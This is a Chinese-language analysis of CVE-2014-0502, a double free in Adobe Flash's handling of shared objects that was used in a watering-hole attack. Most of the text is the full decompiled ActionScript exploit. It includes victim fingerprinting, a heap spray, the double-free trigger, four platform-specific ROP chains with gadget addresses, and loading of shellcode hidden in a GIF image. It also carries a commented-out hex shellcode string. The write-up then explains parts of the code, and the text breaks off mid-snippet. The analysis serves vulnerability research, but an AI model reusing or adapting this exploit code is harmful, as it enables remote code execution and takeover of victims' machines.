CVE-2014-0502 漏洞研究

7erry

2014 年 2 月知名安全厂商 FireEye 捕获到了一个针对被广泛使用的 Adobe Flash 最新版本的 0day 漏洞利用样本,具体地说该样本利用了 Adobe Flash Player 处理共享对象方式中的 bug 引起的 double free 漏洞。它是一场 Water Hole 0day 攻击的一部分,对多个非营利组织的网站进行了感染,例如在美国的经济和外交政策智库网站挂马。此次攻击被 FireEye 命名为 Operation GreedyWonk

影响范围:

Adobe Flash Player(on Windows and Max OS X) 11.7.700.269 之前的所有版本
Adobe Flash Player(on Linux) 11.2.202.341 之前的所有版本
Adobe AIR (on Android) 4.0.0.1628 之前的所有版本
Adobe Air SDK (& Compiler) 4.0.0.1628 之前的所有版本

Action Script Worker & Shared Object

Action Script 通过 worker 这一抽象实现了对后台线程的支持,每一个 worker 都将在一个单独的线程里执行代码,其中主 SWF 会被自动创建一个 Primordial Worker。每个 Worker 都将独立执行,有着自己的内存空间,变脸和代码,彼此之间通过 Shared Properties, Message Channel 和同样可共享的 Byte Array 通信

Shared Object 或 Flush Cookie 是网站在用户计算机上创建的数据文件,可用于在本地及远程读取和保存数据。它维护了一个缓冲区,并且会在以下情况中进行 flush 操作

  • 显式调用 flush 函数
  • 共享对象生命周期结束时

当一个 Worker 或 Adobe Flash Player 实例被终止时,所有共享对象都会被销毁,如上文所说此时共享对象会在销毁前进行一次 flush 将数据保存到磁盘。共享对象析构时将调用 Exit 函数,该函数会执行两项检查

  • 检查 Pending Flush 标志位,它知识是否有数据需要刷新到磁盘
  • 检查域的 Maximum Storage 设置(默认 100 KB)

如果第一次检查通过,并且进程尝试进行 flush 操作保存数据,无论检查成功与否,它都会在完成时释放对象块。

漏洞分析

将样本放置在服务器上(避免直接打开被沙箱拦截),调试运行 IE 并通过 URL 打开样本后触发 Access Violation 异常。惯例地先进行栈回溯,发现函数调用栈只有两个栈帧,显然栈空间已被破坏。在已知的最高地址的栈帧函数处下条件断点会发现该函数在样本触发的执行流中被调用了上百次,显然不会是程序崩溃的第一现场,漏洞分析陷入僵局或者说变得有些力不从心

《漏洞战争》和其它分析的博客通过反编译得到了 exp 的源码,再根据 exp 中的 ROP 链断到了 ROP 链的入口地址,进而找到了程序跳转到 ROP 链前执行到的位置,发现此时程序正在释放共享对象,同时联系栈回溯中得到的 DLL 函数推断出该释放是析构函数所为。即共享对象的二次析构导致了 double free 漏洞的产生

有一说一这个漏洞确实很难只通过动态调试弄明白漏洞成因,哪怕只是定位到漏洞发生位置都需要借助逆向 exp 才能连懵带猜地找到第一现场,令人感慨

因此具体的漏洞成因分析可参见下文的 Exploit 分析

漏洞利用

被感染的网站将会包含一个 Iframe 以便将访问者重定向到另一个包含恶意 exploit 的网站(giftserv.hopto.org)。这个新的网站会加载一个恶意的 index.php 文件(Trojan.Malscript),该文件检查受害者机器上运行的操作系统位数,并根据检测结果从攻击者服务器(4.59.141.44)上托管的对应位数的文件夹中下载恶意的 index.html 文件(也是 Trojan.Malscript)和其它组件。然后,恶意 index.html 文件将加载包含 0day 漏洞的 cc.swf Adobe Flash 文件(Trojan.Swifi)。若受害者系统环境在漏洞影响范围内,该 exp 将通过堆喷控制堆空间布局,在 double free 破坏堆区解构后将劫持程序控制流到 ROP 链上,同时下载一个包含加密 shellcode 的 logo.gif 图片马,ROP 链将调转到图片马中 shellcode 以下载并执行包含恶意远控程序 server.exe(Backdoor.Jolob)的 payload,使得攻击者能够完全控制受害者主机

Exploit 分析

样本实际上是一段 Flash Action Script 代码编译得到的 swf 文件,因此可以尝试通过 JPEXS Free Flash Decompiler 等工具对其进行反编译,其结果如下

Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
package
{
import flash.display.Sprite;
import flash.events.Event;
import flash.external.ExternalInterface;
import flash.net.SharedObject;
import flash.net.URLLoader;
import flash.net.URLLoaderDataFormat;
import flash.net.URLRequest;
import flash.system.Capabilities;
import flash.system.System;
import flash.system.Worker;
import flash.system.WorkerDomain;
import flash.utils.ByteArray;
import flash.utils.Endian;

public class cc extends Sprite
{
var bgWorker:Worker;
var systemcase:int;

//public var cc_shellcode:String = "19921231dbd7d97424f4b879c464b733c9b1385d83c504314513033cd78642423fcfadbac0b0245ff1e25314a032177849b87568dacc519f6b7a84ae6c4a087caeccf47ee32ec4b1f62f01aff962daa4a8926ff87092bf77c8ecba47bd46c4976edc8e0f04ba2e2ec9d81379662ae778ae62084b8e29376403337f42fc468bb1815048c85dd44d6a154eb68bfa093d87b75e198b46b211b7c335f63e9711d21b433b43c1224493ad9be0df5fcf93bd350e11b8701029c3d2791848bdfea59bfaf1ef86aa99a952efc7498933fec938cb05d148ce4255a0a2db30c611db10a5af7fcc43a11b9de44eb83272c334d0e910874691378b157bd22bbf83";

public var sc:String = new String();

static const POOL_SIZE:int = 0x100000;
static var allocs:Array;
static var pool:ByteArray;
static var dstSize:int;
static var allocCount:int;

public function onComplete(e:Event):void
{
//
// var bytes:ByteArray = new ByteArray();
// bytes.writeBytes(e.target.data as ByteArray,0,(e.target.data as ByteArray).length);
// bytes.position=bytes.length-4;
// //last four bytes is the length of shellcode
// bytes.endian="littleEndian";
// var len:uint=bytes.readUnsignedInt();
// var shellbytes:ByteArray=new ByteArray();
// shellbytes.writeBytes(bytes,bytes.length-4-len,len);
// shellbytes.position=0;
//
// var shellcode:String=shellbytes.readMultiByte(shellbytes.length,"iso-8859-1");
// bgWorker.setSharedProperty("shellcode",shellcode);
// bgWorker.start();

var bytes:ByteArray = new ByteArray();
bytes.writeBytes(e.target.data as ByteArray,0,(e.target.data as ByteArray).length);
bytes.position=bytes.length-4;
//last four bytes is the length of shellcode
bytes.endian="littleEndian";
var len:uint=bytes.readUnsignedInt();
var shellbytes:ByteArray=new ByteArray();
shellbytes.writeBytes(bytes,bytes.length-4-len,len);
shellbytes.position=0;

//var shellcode:String=shellbytes.readMultiByte(shellbytes.length,"iso-8859-1");
//bgWorker.setSharedProperty("cc",shellcode);
bgWorker.setSharedProperty("cc",shellbytes);
bgWorker.start();
}

public function versioncheck():int
{
var os:String=Capabilities.os.toLowerCase();
var language:String=Capabilities.language.toLowerCase();
language.indexOf()
if(os=="windows xp")
{
if(language == "zh-cn")
return 1;
else if (language=="en")
return 2;
else if(language=="zh-tw")
return 3;
else
return 0;
}
else if(os=="windows 7")
{
ExternalInterface.call("eval","function checkversion(){ var result; var ua=window.navigator.userAgent.toLowerCase(); var temp=ua.replace(/ /g,\"\"); { if(temp.indexOf(\"nt6.1\")>-1&&temp.indexOf(\"msie\")>-1&&temp.indexOf(\"msie10.0\")==-1) { var java6=0; var java7=0; var a=0; var b=0; try { java6=new ActiveXObject(\"JavaWebStart.isInstalled.1.6.0.0\"); } catch(e){} try { java7=new ActiveXObject(\"JavaWebStart.isInstalled.1.7.0.0\"); } catch(e){} if(java6&&!java7) { return \"16\"; } try { a=new ActiveXObject(\"SharePoint.OpenDocuments.4\"); } catch(e){} try { b=new ActiveXObject(\"SharePoint.OpenDocuments.3\"); } catch(e){} if((typeof a)==\"object\"&&(typeof b)==\"object\") { try { location.href = 'ms-help://' }catch(e){}; return \"10\"; } else if((typeof a)==\"number\"&&(typeof b)==\"object\") { try { location.href = 'ms-help://' }catch(e){}; return \"07\"; } } } return \"0\";}");
var version:String=ExternalInterface.call("eval","checkversion()");
trace(version);
var VerInt:Number = parseInt(version,10);
return VerInt;
}
return 0;
}

public function triggerexp():void
{
var exp:String="AAAA";
// while(exp.length<1024*100)
// exp=exp+exp;

while(exp.length<1024*100)
{
exp=exp+((Math.random()<<16)+(Math.random()>>16)).toString();
}
var sobj:SharedObject=SharedObject.getLocal("record");
sobj.data.logs=exp;
}

public function getrop_XP():ByteArray
{
// using msvcrt.dll to generate the rop chain
var baseaddr:int;
if(systemcase==1)
baseaddr=0x77be0000; //chinese
else if(systemcase==2)
baseaddr=0x77c10000; //english
else if(systemcase==3)
baseaddr=0x77be0000; //tradition
var rop:ByteArray=new ByteArray();
rop.endian="littleEndian";
rop.writeMultiByte("FILL","iso-8859-1");

//rop.writeUnsignedInt(0xffffaaaa); // # RETN (ROP NOP) [msvcrt.dll]

rop.writeUnsignedInt(0x77c39f92-0x77c10000+baseaddr); // # RETN (ROP NOP) [msvcrt.dll]
//rop.writeUnsignedInt(0x77bf18d3); // first call -> # XCHG ESP,EAX # ROR [ESI-0x75],0xC1 # POP EBP # RETN 4 [msvcrt.dll]
rop.writeUnsignedInt(0x77c218d3-0x77c10000+baseaddr); // first call -> # XCHG ESP,EAX # ROR [ESI-0x75],0xC1 # POP EBP # RETN 4 [msvcrt.dll]
rop.writeUnsignedInt(0x77c364d5-0x77c10000+baseaddr); // # POP EBP # RETN [msvcrt.dll]
rop.writeUnsignedInt(0x77c364d5-0x77c10000+baseaddr); // # skip 4 bytes [msvcrt.dll]
rop.writeUnsignedInt(0x77c46e91-0x77c10000+baseaddr); // # POP EBX # RETN [msvcrt.dll]
rop.writeUnsignedInt(0x00002201); // # 0x00000201-> ebx
rop.writeUnsignedInt(0x77c4cbf9-0x77c10000+baseaddr); // # POP EDX # RETN [msvcrt.dll]
rop.writeUnsignedInt(0x00000040); // # 0x00000040-> edx
rop.writeUnsignedInt(0x77c2c343-0x77c10000+baseaddr); // # POP ECX # RETN [msvcrt.dll]
rop.writeUnsignedInt(0x77c605b5-0x77c10000+baseaddr); // # &Writable location [msvcrt.dll]
rop.writeUnsignedInt(0x77c23b47-0x77c10000+baseaddr); // # POP EDI # RETN [msvcrt.dll]
rop.writeUnsignedInt(0x77c39f92-0x77c10000+baseaddr); // # RETN (ROP NOP) [msvcrt.dll]
rop.writeUnsignedInt(0x77c34d9a-0x77c10000+baseaddr); // # POP ESI # RETN [msvcrt.dll]
rop.writeUnsignedInt(0x77c2aacc-0x77c10000+baseaddr); // # JMP [EAX] [msvcrt.dll]
rop.writeUnsignedInt(0x77c21d16-0x77c10000+baseaddr); // # POP EAX # RETN [msvcrt.dll]
rop.writeUnsignedInt(0x77c11131-0x77c10000+baseaddr); // # ptr to &VirtualProtect() - 0xEF [IAT msvcrt.dll]
rop.writeUnsignedInt(0x77c567f0-0x77c10000+baseaddr); // # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
rop.writeUnsignedInt(0x77c51025-0x77c10000+baseaddr); // # ptr to 'push esp # ret ' [msvcrt.dll]

//set 0c0c0c0c to be executed
rop.writeUnsignedInt(0x0C0C08B8);
rop.writeUnsignedInt(0x04C0830C);
rop.writeUnsignedInt(0x90903881);
rop.writeUnsignedInt(0xF5749090);

rop.writeByte(0x8B);
rop.writeByte(0xF0);
rop.writeByte(0xB8);
rop.writeUnsignedInt(0x77c11120-0x77c10000+baseaddr); // # ptr to &VirtualProtect()
rop.writeByte(0x8B);
rop.writeByte(0x00);
rop.writeByte(0x68);
rop.writeUnsignedInt(0x77c605b5-0x77c10000+baseaddr); // # &Writable location [msvcrt.dll]
rop.writeByte(0x6A);
rop.writeByte(0x40);

//rop.writeUnsignedInt(0x08000068);
rop.writeUnsignedInt(0x00200068);
rop.writeUnsignedInt(0xD0FF5600);
rop.writeUnsignedInt(0x9090D6FF);

for(var i=rop.length;i<204;i++)
{
rop.writeByte(0x90+(i+1)*3);
}

return rop;
}

public function getrop_07():ByteArray
{
// using hxds.dll to generate the rop chain
var rop:ByteArray=new ByteArray();
rop.endian="littleEndian";
rop.writeMultiByte("FILL","iso-8859-1");
rop.writeUnsignedInt(0x51c3f011); // 02'# RETN (ROP NOP) [hxds.dll]
rop.writeUnsignedInt(0x51c2cf1b); // first call --> 01 # PUSH EAX # POP ESP # MOV EAX,ESI # POP ESI # RETN 0x04 [hxds.dll]

rop.writeUnsignedInt(0x51be25dc); // 02 # POP EDI # RETN [hxds.dll]
rop.writeUnsignedInt(0x51bd1158); // 03 # ptr to &VirtualProtect() [IAT hxds.dll]
rop.writeUnsignedInt(0x51c3098e); // 04 # MOV EAX,DWORD PTR DS:[EDI] # RETN [hxds.dll]
rop.writeUnsignedInt(0x51c39987); // 05 # XCHG EAX,ESI # RETN [hxds.dll]
rop.writeUnsignedInt(0x51bf1761); // 06 # POP EBP # RETN [hxds.dll]
rop.writeUnsignedInt(0x51c4b2df); // 07 # & call esp [hxds.dll]
rop.writeUnsignedInt(0x51bf2e19); // 08 # POP EBX # RETN [hxds.dll]
rop.writeUnsignedInt(0x00002201); // 09 # 0x00000201-> ebx
rop.writeUnsignedInt(0x51bfa969); // 10 # POP EDX # RETN [hxds.dll]
rop.writeUnsignedInt(0x00000040); // 11 # 0x00000040-> edx
rop.writeUnsignedInt(0x51c385a2); // 12 # POP ECX # RETN [hxds.dll]
rop.writeUnsignedInt(0x51c5b991); // 13 # &Writable location [hxds.dll]
rop.writeUnsignedInt(0x51bf7b52); // 14 # POP EDI # RETN [hxds.dll]
rop.writeUnsignedInt(0x51c3f011); // 15 # RETN (ROP NOP) [hxds.dll]
rop.writeUnsignedInt(0x51c433d7); // 16 # POP EAX # RETN [hxds.dll]
rop.writeUnsignedInt(0x90909090); // 17 # nop
rop.writeUnsignedInt(0x51c0a4ec); // 18 # PUSHAD # RETN [hxds.dll]

// set the 0c0c0c0c to be excuted and jmp over to 0c0c0c0c

rop.writeUnsignedInt(0x0C0C08B8);
rop.writeUnsignedInt(0x04C0830C);
rop.writeUnsignedInt(0x90903881);
rop.writeUnsignedInt(0xF5749090);
rop.writeUnsignedInt(0x58B8F08B);
rop.writeUnsignedInt(0x8B51BD11);
rop.writeUnsignedInt(0xB9916800);
rop.writeUnsignedInt(0x406A51C5);
//rop.writeUnsignedInt(0x08000068);
rop.writeUnsignedInt(0x00200068);
rop.writeUnsignedInt(0xD0FF5600);
rop.writeUnsignedInt(0x9090D6FF);

for(var i=rop.length;i<204;i++)
{
rop.writeByte(0x90+(i+1)*3);
}

return rop;
}

public function getrop_10():ByteArray
{
// using hxds.dll to generate the rop chain
var rop:ByteArray=new ByteArray();
rop.endian="littleEndian";
rop.writeMultiByte("FILL","iso-8859-1");
rop.writeUnsignedInt(0x51c07402); // # RETN (ROP NOP) [hxds.dll]
rop.writeUnsignedInt(0x51c00e64); // first call--> # XCHG EAX,ESP # ADD EAX,DWORD PTR DS:[EAX] # ADD ESP,10 # MOV EAX,ESI # POP ESI # POP EBP # RETN 0x04 [hxds.dll]
rop.writeUnsignedInt(0x51c07402); // # RETN (ROP NOP) [hxds.dll]
rop.writeUnsignedInt(0x51c07402); // # RETN (ROP NOP) [hxds.dll]
rop.writeUnsignedInt(0x51c07402); // # RETN (ROP NOP) [hxds.dll]
rop.writeUnsignedInt(0x51c07402); // # RETN (ROP NOP) [hxds.dll]
rop.writeUnsignedInt(0x51c07402); // # RETN (ROP NOP) [hxds.dll]

rop.writeUnsignedInt(0x51bf34b4); // # POP ESI # RETN [hxds.dll]
rop.writeUnsignedInt(0x51bd10b8); // # ptr to &VirtualProtect() [IAT hxds.dll]
rop.writeUnsignedInt(0x51bd2d97); // # MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll]
rop.writeUnsignedInt(0x51bdcba0); // # XCHG EAX,ESI # RETN 00 [hxds.dll]
rop.writeUnsignedInt(0x51c379e2); // # POP EBP # RETN [hxds.dll]
rop.writeUnsignedInt(0x51c59683); // # & call esp [hxds.dll]
rop.writeUnsignedInt(0x51be198c); // # POP EBX # RETN [hxds.dll]
rop.writeUnsignedInt(0x00002201); // # 0x00000201-> ebx
rop.writeUnsignedInt(0x51c35ac3); // # POP EDX # RETN [hxds.dll]
rop.writeUnsignedInt(0x00000040); // # 0x00000040-> edx
rop.writeUnsignedInt(0x51becf3e); // # POP ECX # RETN [hxds.dll]
rop.writeUnsignedInt(0x51c5d150); // # &Writable location [hxds.dll]
rop.writeUnsignedInt(0x51bef563); // # POP EDI # RETN [hxds.dll]
rop.writeUnsignedInt(0x51c07402); // # RETN (ROP NOP) [hxds.dll]
rop.writeUnsignedInt(0x51c56fbd); // # POP EAX # RETN [hxds.dll]
rop.writeUnsignedInt(0x90909090); // # nop
rop.writeUnsignedInt(0x51c3604e); // # PUSHAD # RETN [hxds.dll]

// set the 0c0c0c0c to be excuted and jmp over to 0c0c0c0c
rop.writeUnsignedInt(0x0C0C08B8);
rop.writeUnsignedInt(0x04C0830C);
rop.writeUnsignedInt(0x90903881);
rop.writeUnsignedInt(0xF5749090);
rop.writeUnsignedInt(0xB8B8F08B);
rop.writeUnsignedInt(0x8B51BD10);
rop.writeUnsignedInt(0xD1506800);
rop.writeUnsignedInt(0x406A51C5);
//rop.writeUnsignedInt(0x08000068);
rop.writeUnsignedInt(0x00200068);
rop.writeUnsignedInt(0xD0FF5600);
rop.writeUnsignedInt(0x9090D6FF);

for(var i=rop.length;i<204;i++)
{
rop.writeByte(0x90+(i+1)*3);
}

return rop;
}

public function getrop_16():ByteArray
{
// using hxds.dll to generate the rop chain
var rop:ByteArray=new ByteArray();
rop.endian="littleEndian";
rop.writeMultiByte("FILL","iso-8859-1");

rop.writeUnsignedInt(0xaaaaaaaa); // 0x19921231

rop.writeUnsignedInt(0x7C347F67); // eip xchg eax,esp # ret

rop.writeUnsignedInt(0x7c37653d); // POP EBP // RETN
rop.writeUnsignedInt(0xfffffdff); // // skip 4 bytes
rop.writeUnsignedInt(0x7c347f98); // POP EBX // RETN
rop.writeUnsignedInt(0x7c3415a2); // 0x000000c8-> ebx (size 200 bytes) *
rop.writeUnsignedInt(0xffffffff); // POP EDX // RETN
rop.writeUnsignedInt(0x7c376402); // 0x00000040-> edx
rop.writeUnsignedInt(0x7c351e05); // POP ECX // RETN
rop.writeUnsignedInt(0x7c345255); // &Writable location
rop.writeUnsignedInt(0x7c352174); // POP EDI // RETN
rop.writeUnsignedInt(0x7c344f87); // RETN (ROP NOP)
rop.writeUnsignedInt(0xffffffc0); // POP ESI // RETN
rop.writeUnsignedInt(0x7c351eb1); // JMP [EAX]
rop.writeUnsignedInt(0x7c34d201); // POP EAX // RETN
rop.writeUnsignedInt(0x7c38b001); // ptr to &VirtualProtect() - 0x0EF *
rop.writeUnsignedInt(0x7c347f97); // PUSHAD // ADD AL,0EF // RETN
rop.writeUnsignedInt(0x7c37a151); // ptr to 'push esp # ret '

rop.writeUnsignedInt(0x7c378c81); // 0x19921231
rop.writeUnsignedInt(0x7c345c30); // 0x19921231
rop.writeUnsignedInt(0x90909090); // 0x19921231

// set the 0c0c0c0c to be excuted and jmp over to 0c0c0c0c
rop.writeUnsignedInt(0x37A140B8);
rop.writeUnsignedInt(0x68008B7C);
rop.writeUnsignedInt(0x7C38B750);
rop.writeUnsignedInt(0x0068406A);
rop.writeUnsignedInt(0x68000020);
rop.writeUnsignedInt(0x0C0C0C0C);
rop.writeUnsignedInt(0x0CB8D0FF);
rop.writeUnsignedInt(0xFF0C0C0C);
rop.writeUnsignedInt(0x909090D0);

for(var i=rop.length;i<204;i++)
{
rop.writeByte(0x90+(i+1)*3);
}

return rop;
}

public static function init_pool(val)
{
pool = new ByteArray ;
pool.writeBytes(val);
while (pool.length < POOL_SIZE)
{
var temp:ByteArray = new ByteArray ;
temp.writeBytes(pool);
pool.writeBytes(temp);
}

}
public static function alloc(val,size)
{
if ((null == allocs))
{
allocs = new Array ;
}
dstSize = size;
init_pool(val);
}

public static function free()
{
allocs = null;
}

public function cido()
{
ExternalInterface.call("eval", 'function setcookie(){var Then = new Date(); Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );document.cookie = "Cookie1=CC20131221; expires="+ Then.toGMTString();}function canIdo(){var cookieString = new String(document.cookie);if(cookieString.indexOf("CC20131221") == -1){setcookie(); return 1;}else{ return 0;}}');
var ret:String = ExternalInterface.call("eval", "canIdo()");
return (parseInt(ret, 10));
}

public function cc()
{
if (Worker.current.isPrimordial)
{
// check cookie
if (cido()==0)
return;

systemcase=versioncheck();
if(systemcase==0)
return;
//readout the shellcode from the picture
var loader:URLLoader=new URLLoader();
loader.dataFormat=URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE,onComplete);
loader.load(new URLRequest("logo.gif"));

bgWorker = WorkerDomain.current.createWorker(loaderInfo.bytes);
bgWorker.setSharedProperty("version",systemcase);
}
else
{
systemcase=Worker.current.getSharedProperty("version");
//var shellcode:String=Worker.current.getSharedProperty("cc");
var shellbytes:ByteArray=Worker.current.getSharedProperty("cc");

var val:ByteArray = new ByteArray();
val.endian = Endian.LITTLE_ENDIAN;
var i, j, sc_len:uint = 0;

for (i = 0; i< (0x0c0c); i++)
{
val.writeByte(0x90+i);

}

// 这个for循环用来转换下面这两句
//sc = cc_shellcode;
//val.writeBytes(hexToBin(sc));
/*for (i = 0; i < shellcode.length; i++)
{
val.writeByte(shellcode.charCodeAt(i));
}*/
val.writeBytes(shellbytes);

for (i = val.length; i< 0x10000; i++)
{
val.writeByte(0x90+i);
}
alloc(val, 0x100000-0x24);
var block1:ByteArray = new ByteArray();
block1.writeBytes(pool, 0, 0x100000-0x24);
//block1.writeBytes(val, 0, 0x100000-0x24);
allocs.push(block1);
pool = null;
for(var i=0;i<0xe0;i++)
{
var block:ByteArray = new ByteArray();
block.writeBytes(block1, 0, 0x100000-0x24);
allocs.push(block);
}

triggerexp();
var rop:ByteArray;
if(systemcase==7) //office2007 + win7
{
rop=getrop_07();
rop.toString();
}
else if(systemcase==10) //office2010 + win7
{
rop=getrop_10();
rop.toString();
}
else if(systemcase==16) //java1.6 + win7
{
rop=getrop_16();
rop.toString();
}
else if(systemcase==1 || systemcase==2 || systemcase==3) //XP + Chinese || English || Tradition
{
rop=getrop_XP();
rop.toString();
}
Worker.current.terminate();
}
}
}
}

该 exp 包含了针对不同运行时环境的不同利用函数和若干辅助函数,可先从理解辅助函数功能开始理解,最后自底向上拼凑出主函数的实际执行流

Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function versioncheck():int
{
var os:String=Capabilities.os.toLowerCase();
var language:String=Capabilities.language.toLowerCase();
language.indexOf()
if(os=="windows xp")
{
if(language == "zh-cn")
return 1;
else if (language=="en")
return 2;
else if(language=="zh-tw")
return 3;
else
return 0;
}
else if(os=="windows 7")
{
ExternalInterface.call("eval","function checkversion(){ var result; var ua=window.navigator.userAgent.toLowerCase(); var temp=ua.replace(/ /g,\"\"); { if(temp.indexOf(\"nt6.1\")>-1&&temp.indexOf(\"msie\")>-1&&temp.indexOf(\"msie10.0\")==-1) { var java6=0; var java7=0; var a=0; var b=0; try { java6=new ActiveXObject(\"JavaWebStart.isInstalled.1.6.0.0\"); } catch(e){} try { java7=new ActiveXObject(\"JavaWebStart.isInstalled.1.7.0.0\"); } catch(e){} if(java6&&!java7) { return \"16\"; } try { a=new ActiveXObject(\"SharePoint.OpenDocuments.4\"); } catch(e){} try { b=new ActiveXObject(\"SharePoint.OpenDocuments.3\"); } catch(e){} if((typeof a)==\"object\"&&(typeof b)==\"object\") { try { location.href = 'ms-help://' }catch(e){}; return \"10\"; } else if((typeof a)==\"number\"&&(typeof b)==\"object\") { try { location.href = 'ms-help://' }catch(e){}; return \"07\"; } } } return \"0\";}");
var version:String=ExternalInterface.call("eval","checkversion()");
trace(version);
var VerInt:Number = parseInt(version,10);
return VerInt;
}
return 0;
}

versioncheck 函数将会探测受害者机器上运行的操作系统,若是 XP 系统则根据系统语言返回相应的返回值,若是 Windows 7 则执行 checkversion 函数检测受害者的浏览器版本,是否安装了 Java 1.6,是否安装了 Office 2010 或 2007,并返回相应情况下的返回值

Script
1
2
3
4
public function getrop_XP():ByteArray
public function getrop_07():ByteArray
public function getrop_10():ByteArray
public function getrop_16():ByteArray

结合 versioncheck 函数内的返回情况可以推断出这几个函数是在生成相应平台的 ROP 链

Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var bgWorker:Worker;

public function onComplete(e:Event):void
{
//
// var bytes:ByteArray = new ByteArray();
// bytes.writeBytes(e.target.data as ByteArray,0,(e.target.data as ByteArray).length);
// bytes.position=bytes.length-4;
// //last four bytes is the length of shellcode
// bytes.endian="littleEndian";
// var len:uint=bytes.readUnsignedInt();
// var shellbytes:ByteArray=new ByteArray();
// shellbytes.writeBytes(bytes,bytes.length-4-len,len);
// shellbytes.position=0;
//
// var shellcode:String=shellbytes.readMultiByte(shellbytes.length,"iso-8859-1");
// bgWorker.setSharedProperty("shellcode",shellcode);
// bgWorker.start();

var bytes:ByteArray = new ByteArray();
bytes.writeBytes(e.target.data as ByteArray,0,(e.target.data as ByteArray).length);
bytes.position=bytes.length-4;
//last four bytes is the length of shellcode
bytes.endian="littleEndian";
var len:uint=bytes.readUnsignedInt();
var shellbytes:ByteArray=new ByteArray();
shellbytes.writeBytes(bytes,bytes.length-4-len,len);
shellbytes.position=0;

//var shellcode:String=shellbytes.readMultiByte(shellbytes.length,"iso-8859-1");
//bgWorker.setSharedProperty("cc",shellcode);
bgWorker.setSharedProperty("cc",shellbytes);
bgWorker.start();
}

这是一个事件监听函数,将会从监听事件中以小端字节序读取相应数据(实际上读取的是图片马的数据)。其中读取的最后四个字节的值为偏移量(实际上是 shellcode 的长度),使用读取的数据的长度减去作为偏移量的四个字节的长度与其表示的偏移量得到一个内部嵌入的数据(shellcode)的起始地址,读取并保存到共享变量 cc

Script
1
2
3
4
5
6
public function cido()
{
ExternalInterface.call("eval", 'function setcookie(){var Then = new Date(); Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );document.cookie = "Cookie1=CC20131221; expires="+ Then.toGMTString();}function canIdo(){var cookieString = new String(document.cookie);if(cookieString.indexOf("CC20131221") == -1){setcookie(); return 1;}else{ return 0;}}');
var ret:String = ExternalInterface.call("eval", "canIdo()");
return (parseInt(ret, 10));
}

这看上去是一个设置 Cookie 的函数,Cookie 有效期为 1000 周,疑似用于避免进行同一目标的重复漏洞

Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static const POOL_SIZE:int = 0x100000;
static var allocs:Array;
static var pool:ByteArray;
static var dstSize:int;
static var allocCount:int;

public static function init_pool(val)
{
pool = new ByteArray ;
pool.writeBytes(val);
while (pool.length < POOL_SIZE)
{
var temp:ByteArray = new ByteArray ;
temp.writeBytes(pool);
pool.writeBytes(temp);
}

}
public static function alloc(val,size)
{
if ((null == allocs))
{
allocs = new Array ;
}
dstSize = size;
init_pool(val);
}

public static function free()
{
allocs = null;
}

这三个,或者起码前两个函数需要连在一起看(free 函数没被调用)。init_pool 函数成倍扩大数组到指定大小的行为很明显是在 Heap Spray

Script
1
2
3
4
5
6
7
8
9
10
11
12
13
public function triggerexp():void
{
var exp:String="AAAA";
// while(exp.length<1024*100)
// exp=exp+exp;

while(exp.length<1024*100)
{
exp=exp+((Math.random()<<16)+(Math.random()>>16)).toString();
}
var sobj:SharedObject=SharedObject.getLocal("record");
sobj.data.logs=exp;
}

这个函数看上去是在为 exp 填充 padding 字符串,然后把 exp 塞到创建的共享对象 record 的属性值中,注意这一行为开启 Pending Fush 标志

Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
var bgWorker:Worker;
var systemcase:int;

